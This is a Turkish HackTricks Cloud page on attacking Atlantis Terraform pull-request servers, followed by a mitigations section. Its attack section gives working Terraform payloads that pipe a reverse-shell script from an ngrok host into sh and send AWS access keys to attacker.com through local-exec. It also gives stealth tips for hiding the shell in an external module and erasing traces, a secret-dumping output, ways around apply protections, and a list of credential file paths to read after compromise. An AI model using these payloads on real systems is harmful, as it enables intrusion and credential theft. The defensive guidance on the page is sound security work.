Atlantis Güvenliği

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!
• Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
• PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.

Temel Bilgiler

Atlantis, temel olarak git sunucunuzdan Pull Request’lerden terraform çalıştırmanıza yardımcı olur.

Yerel Laboratuvar

1. https://github.com/runatlantis/atlantis/releases adresindeki atlantis sürüm sayfasına gidin ve size uygun olanı indirin.
2. github kullanıcınız için bir kişisel token (repo erişimi ile) oluşturun.
3. ./atlantis testdrive komutunu çalıştırın ve atlantis ile konuşmak için kullanabileceğiniz bir demo repo oluşturulacaktır.
4. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz.

Atlantis Erişimi

Git Sunucu Kimlik Bilgileri

Atlantis, Github, Gitlab, Bitbucket ve Azure DevOps gibi çeşitli git sunucularını destekler.
Ancak, bu platformlardaki repo’lara erişmek ve işlemler gerçekleştirmek için bazı ayrıcalıklı erişimlerin verilmesi gerekir (en azından yazma izinleri).
Belgeler, Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı insanlar kişisel hesaplar kullanabilir.

Warning

Her durumda, bir saldırgan perspektifinden, Atlantis hesabı çok ilginç bir hedef olacaktır.

Webhook’lar

Atlantis, Git sunucunuzdan aldığı webhook’ların meşru olduğunu doğrulamak için isteğe bağlı olarak Webhook gizli anahtarları kullanır.

Bunu doğrulamanın bir yolu, isteklerin yalnızca Git sunucunuzun IP’lerinden gelmesine izin vermek olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır.

Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir.

Warning

Atlantis, git sunucusunun bilgi gönderebilmesi için webhook’ları açığa çıkaracaktır. Bir saldırgan perspektifinden, ona mesaj gönderip gönderemeyeceğinizi bilmek ilginç olacaktır.

Sağlayıcı Kimlik Bilgileri

Belgelerden:

Atlantis, Atlantis’in barındırıldığı sunucuda terraform plan ve apply komutlarını çalıştırarak Terraform’u çalıştırır. Terraform’u yerel olarak çalıştırdığınızda olduğu gibi, Atlantis’in belirli sağlayıcınız için kimlik bilgilerine ihtiyacı vardır.

Atlantis’e belirli sağlayıcınız için kimlik bilgilerini nasıl sağladığınız size bağlıdır:

• Atlantis Helm Chart ve AWS Fargate Modülü kendi kimlik bilgileri mekanizmalarına sahiptir. Belgelerini okuyun.
• Atlantis’i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi sağlama yollarına sahiptir, örneğin:
• AWS EC2 Rolleri (EC2 Rolü için arama yapın)
• GCE Instance Service Hesapları
• Birçok kullanıcı, Atlantis’in çalıştığı yerde ortam değişkenleri ayarlar, örneğin AWS_ACCESS_KEY.
• Diğerleri, Atlantis’in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örneğin ~/.aws/credentials.
• Sağlayıcı kimlik bilgilerini elde etmek için HashiCorp Vault Provider kullanın.

Warning

Atlantis’in çalıştığı konteyner, muhtemelen Atlantis’in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github…) ait ayrıcalıklı kimlik bilgilerini içerecektir.

Web Sayfası

Varsayılan olarak Atlantis, localhost’ta 4141 numaralı portta bir web sayfası çalıştıracaktır. Bu sayfa, yalnızca atlantis apply’i etkinleştirmenize/devre dışı bırakmanıza ve repo’ların plan durumunu kontrol etmenize ve kilidini açmanıza izin verir (değişiklik yapmanıza izin vermez, bu yüzden çok faydalı değildir).

Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak erişim için kimlik bilgisi gerekmediği görünmektedir (ve eğer gerekiyorsa atlantis:atlantis varsayılan olanlardır).

Sunucu Yapılandırması

atlantis server yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir.

• Atlantis sunucusu tarafından desteklenen bayrakların listesini buradan bulabilirsiniz
• Bir yapılandırma seçeneğini bir ortam değişkenine nasıl dönüştüreceğinizi buradan bulabilirsiniz

Değerler bu sırayla seçilir:

1. Bayraklar
2. Ortam Değişkenleri
3. Yapılandırma Dosyası

Warning

Yapılandırmada, token’lar ve şifreler gibi ilginç değerler bulabileceğinizi unutmayın.

Repo Yapılandırması

Bazı yapılandırmalar, repo’ların nasıl yönetildiğini etkiler. Ancak, her repo’nun farklı ayarlar gerektirmesi mümkündür, bu nedenle her repo’yu belirtmenin yolları vardır. Öncelik sırası şudur:

1. Repo /atlantis.yml dosyası. Bu dosya, atlantis’in repo’yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez.
2. allowed_overrides veya allow_custom_workflows gibi bayraklarla izin verilmesi muhtemeldir.
3. Sunucu Tarafı Yapılandırması: --repo-config bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml’dır (regex desteklenir).
4. Varsayılan değerler.

PR Koruma Önlemleri

Atlantis, PR’nin başka birisi tarafından onaylanmasını (bu, dal korumasında ayarlanmamış olsa bile) ve/veya birleştirilebilir (dal korumaları geçildi) olmasını istemeniz durumunda, apply çalıştırmadan önce belirtmenize olanak tanır. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir.

allowed_overrides True olduğunda, bu ayarlar her projede /atlantis.yml dosyasıyla üst üste yazılabilir.

Betikler

Repo yapılandırması, bir iş akışı çalıştırılmadan önce çalıştırılacak betikleri (ön iş akışı kancaları) ve sonrasında (son iş akışı kancaları) belirtebilir.

Bu betikleri repo /atlantis.yml dosyasında belirtme seçeneği yoktur.

İş Akışı

Repo yapılandırmasında (sunucu tarafı yapılandırması), yeni bir varsayılan iş akışı belirtebilirsiniz veya yeni özel iş akışları oluşturabilirsiniz. Ayrıca, hangi repo’ların oluşturulan yeni iş akışlarına erişebileceğini de belirtebilirsiniz.
Daha sonra, her repo’nun atlantis.yaml dosyasının kullanılacak iş akışını belirtmesine izin verebilirsiniz.

Caution

Eğer sunucu tarafı yapılandırma bayrağı allow_custom_workflows True olarak ayarlanmışsa, iş akışları her repo’nun atlantis.yaml dosyasında belirtilerek tanımlanabilir. Ayrıca, allowed_overrides’ın da workflow’u üst üste yazmak için belirtmesi muhtemelen gereklidir.
Bu, temelde bu repo’ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Politika Kontrolü

Atlantis, plan çıktısına karşı sunucu tarafında conftest politikalarını çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır:

• Bir modül listesinin kullanımını reddetmek
• Bir kaynağın oluşturulma zamanındaki niteliklerini doğrulamak
• İstemeden kaynak silmelerini yakalamak
• Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak)

Bunu nasıl yapılandıracağınızı belgelerde kontrol edebilirsiniz.

Atlantis Komutları

Belgelerde Atlantis’i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Saldırılar

Warning

Eğer istismar sırasında bu hata ile karşılaşırsanız: Error: Error acquiring the state lock

Bunu çalıştırarak düzeltebilirsiniz:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Yeni PR’de Konfigürasyon Değişikliği

Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer atlantis plan komutunu çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa) Atlantis sunucusunda RCE yapabilirsiniz.

Bunu, Atlantis’in harici bir veri kaynağını yüklemesini sağlayarak yapabilirsiniz. main.tf dosyasına aşağıdaki gibi bir payload ekleyin:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Gizli Saldırı

Bu saldırıyı daha gizli bir şekilde gerçekleştirebilirsiniz, bu önerileri takip ederek:

• Rev shell’i doğrudan terraform dosyasına eklemek yerine, rev shell’i içeren harici bir kaynağı yükleyebilirsiniz:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Rev shell kodunu https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules adresinde bulabilirsiniz.

• Dış kaynakta, ref özelliğini kullanarak repo içinde bir dalda terraform rev shell kodunu gizleyin, şöyle bir şey: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• Master’a PR oluşturmak yerine Atlantis’i tetiklemek için 2 dal oluşturun (test1 ve test2) ve birinden diğerine PR oluşturun. Saldırıyı tamamladıktan sonra, sadece PR’yi ve dalları kaldırın.

Atlantis plan Gizli Bilgileri Dökümü

Terraform tarafından kullanılan gizli bilgileri dökebilirsiniz atlantis plan (terraform plan) komutunu çalıştırarak, terraform dosyasına şöyle bir şey koyarak:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Yeni PR’de Konfigürasyon Değişikliği

Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer atlantis apply komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz.

Ancak genellikle bazı korumaları aşmanız gerekecektir:

• Birleştirilebilir: Eğer bu koruma Atlantis’te ayarlanmışsa, yalnızca PR birleştirilebilir olduğunda atlantis apply çalıştırabilirsiniz (bu, dal korumasının aşılması gerektiği anlamına gelir).
• Potansiyel dal koruma aşmaları kontrol edin.
• Onaylı: Eğer bu koruma Atlantis’te ayarlanmışsa, atlantis apply komutunu çalıştırmadan önce başka bir kullanıcının PR’yi onaylaması gerekir.
• Varsayılan olarak, bu korumayı aşmak için Gitbot token’ını kullanabilirsiniz.

Kötü niyetli bir Terraform dosyasında terraform apply çalıştırmak local-exec.
Sadece main.tf dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Önceki teknikten önerileri takip ederek bu saldırıyı daha gizli bir şekilde gerçekleştirin.

Terraform Param Injection

atlantis plan veya atlantis apply çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis’ten terraform’a komutlar geçirebilirsiniz, şöyle yorum yaparak:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Geçirebileceğiniz şeylerden biri, bazı korumaları aşmak için faydalı olabilecek env değişkenleridir. Terraform env değişkenlerini kontrol edin https://www.terraform.io/cli/config/environment-variables

Özel İş Akışı

Bir atlantis.yaml dosyasında belirtilen kötü niyetli özel derleme komutlarını çalıştırmak. Atlantis, pull request dalından atlantis.yaml dosyasını kullanır, master’dan değil.
Bu olasılık daha önceki bir bölümde belirtilmiştir:

Caution

Eğer sunucu tarafı yapılandırma bayrağı allow_custom_workflows True olarak ayarlanmışsa, iş akışları her repo için atlantis.yaml dosyasında belirtilmiş olabilir. Ayrıca, kullanılacak iş akışını geçersiz kılmak için allowed_overrides’ın da workflow’u belirtmesi gerekebilir.

Bu, o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Plan/uygulama korumalarını aşma

Eğer sunucu tarafı yapılandırma bayrağı allowed_overrides apply_requirements yapılandırılmışsa, bir repo plan/uygulama korumalarını değiştirmek için bypass edebilir.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Eğer biri atlantis plan/apply yorumları gönderirse geçerli pull request’lerinize, bu terraform’un istemediğiniz bir zamanda çalışmasına neden olur.

Ayrıca, eğer branch protection ayarlarında yeni bir commit gönderildiğinde her PR’nın yeniden değerlendirilmesini istemiyorsanız, biri terraform konfigürasyonuna kötü niyetli konfigürasyonlar yazabilir (önceki senaryolara bakın), atlantis plan/apply çalıştırabilir ve RCE elde edebilir.

Bu, Github branch protections’daki ayardır:

Webhook Secret

Eğer kullanılan webhook secret’ını çalmayı başarırsanız veya hiçbir webhook secret kullanılmıyorsa, Atlantis webhook’unu çağırabilir ve atlantis komutlarını doğrudan çalıştırabilirsiniz.

Bitbucket

Bitbucket Cloud webhook secret’larını desteklememektedir. Bu, saldırganların Bitbucket’tan gelen istekleri taklit etmesine olanak tanıyabilir. Sadece Bitbucket IP’lerine izin verdiğinizden emin olun.

• Bu, bir saldırganın Atlantis’e Bitbucket’tan geliyormuş gibi görünen sahte istekler yapabileceği anlamına gelir.
• Eğer --repo-allowlist belirtiyorsanız, yalnızca o reposlarla ilgili sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar, kendi reposunuzda plan/apply yapmak olacaktır.
• Bunu önlemek için Bitbucket’ın IP adreslerini beyaz listeye alın (Çıkış IPv4 adreslerine bakın).

Post-Exploitation

Eğer sunucuya erişim sağladıysanız veya en azından bir LFI elde ettiyseniz, okumanız gereken bazı ilginç şeyler var:

• /home/atlantis/.git-credentials VCS erişim kimlik bilgilerini içerir
• /atlantis-data/atlantis.db Daha fazla bilgi ile birlikte VCS erişim kimlik bilgilerini içerir
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform durum dosyası
• Örnek: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Çevre değişkenleri
• /proc/[2-20]/cmdline atlantis server komut satırı (hassas veriler içerebilir)

Mitigations

Don’t Use On Public Repos

Herkesin kamuya açık pull request’lere yorum yapabileceği için, mevcut tüm güvenlik önlemlerine rağmen, Atlantis’i kamuya açık reposlarda uygun güvenlik ayarları olmadan çalıştırmak hala tehlikelidir.

Don’t Use --allow-fork-prs

Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bakın) --allow-fork-prs ayarını yapmamalısınız (varsayılan olarak false) çünkü herkes kendi fork’undan sizin repoya bir pull request açabilir.

--repo-allowlist

Atlantis, --repo-allowlist bayrağı aracılığıyla webhooks kabul edeceği repoların bir beyaz listesini belirtmenizi gerektirir. Örneğin:

• Belirli repolar: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Tüm organizasyonunuz: --repo-allowlist=github.com/runatlantis/*
• GitHub Enterprise kurulumunuzdaki her repo: --repo-allowlist=github.yourcompany.com/*
• Tüm repolar: --repo-allowlist=*. Korunan bir ağda olduğunuzda yararlıdır ama bir webhook secret’ı ayarlamadan tehlikelidir.

Bu bayrak, Atlantis kurulumunuzun kontrol etmediğiniz repolarla kullanılmadığından emin olur. Daha fazla bilgi için atlantis server --help komutuna bakın.

Protect Terraform Planning

Eğer saldırganların kötü niyetli Terraform kodu ile pull request’ler göndermesi tehdit modelinizde varsa, terraform apply onaylarının yeterli olmadığını bilmelisiniz. Kötü niyetli bir kodu terraform plan içinde çalıştırmak mümkündür, external veri kaynağını kullanarak veya kötü niyetli bir sağlayıcı belirterek. Bu kod, kimlik bilgilerinizi dışarı sızdırabilir.

Bunu önlemek için şunları yapabilirsiniz:

1. Sağlayıcıları Atlantis imajına yerleştirin veya barındırın ve üretimde çıkışı reddedin.
2. Sağlayıcı kayıt protokolünü dahili olarak uygulayın ve kamuya açık çıkışı reddedin, böylece kayıt üzerinde yazma erişimine kimin sahip olduğunu kontrol edersiniz.
3. Sunucu tarafı repo yapılandırmanızı’nın plan adımını, yasaklı sağlayıcılar veya veri kaynakları veya izin verilmeyen kullanıcılardan gelen PR’ler ile doğrulamak için değiştirin. Bu noktada ek doğrulama da ekleyebilirsiniz, örneğin plan’ın devam etmesine izin vermeden önce PR’da “beğeni” gerektirmek. Conftest burada faydalı olabilir.

Webhook Secrets

Atlantis, $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET ortam değişkenleri aracılığıyla ayarlanmış Webhook secret’ları ile çalıştırılmalıdır. --repo-allowlist bayrağı ayarlı olsa bile, bir webhook secret’ı olmadan, saldırganlar izin verilen bir repo gibi davranarak Atlantis’e istek yapabilirler. Webhook secret’ları, webhook isteklerinin gerçekten VCS sağlayıcınızdan (GitHub veya GitLab) geldiğini garanti eder.

Eğer Azure DevOps kullanıyorsanız, webhook secret’ları yerine temel bir kullanıcı adı ve şifre ekleyin.

Azure DevOps Basic Authentication

Azure DevOps, tüm webhook olaylarında temel kimlik doğrulama başlığı göndermeyi destekler. Bu, webhook konumunuz için HTTPS URL’si kullanmayı gerektirir.

SSL/HTTPS

Eğer webhook secret’larını kullanıyorsanız ama trafiğiniz HTTP üzerinden ise, webhook secret’ları çalınabilir. --ssl-cert-file ve --ssl-key-file bayraklarını kullanarak SSL/HTTPS’yi etkinleştirin.

Enable Authentication on Atlantis Web Server

Web hizmetinde kimlik doğrulamayı etkinleştirmek şiddetle önerilir. --web-basic-auth=true kullanarak BasicAuth’u etkinleştirin ve --web-username=yourUsername ve --web-password=yourPassword bayraklarını kullanarak bir kullanıcı adı ve şifre ayarlayın.

Ayrıca bunları ortam değişkenleri olarak da geçebilirsiniz ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername ve ATLANTIS_WEB_PASSWORD=yourPassword.

References

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• Abonelik planlarını kontrol edin!
• Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
• PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.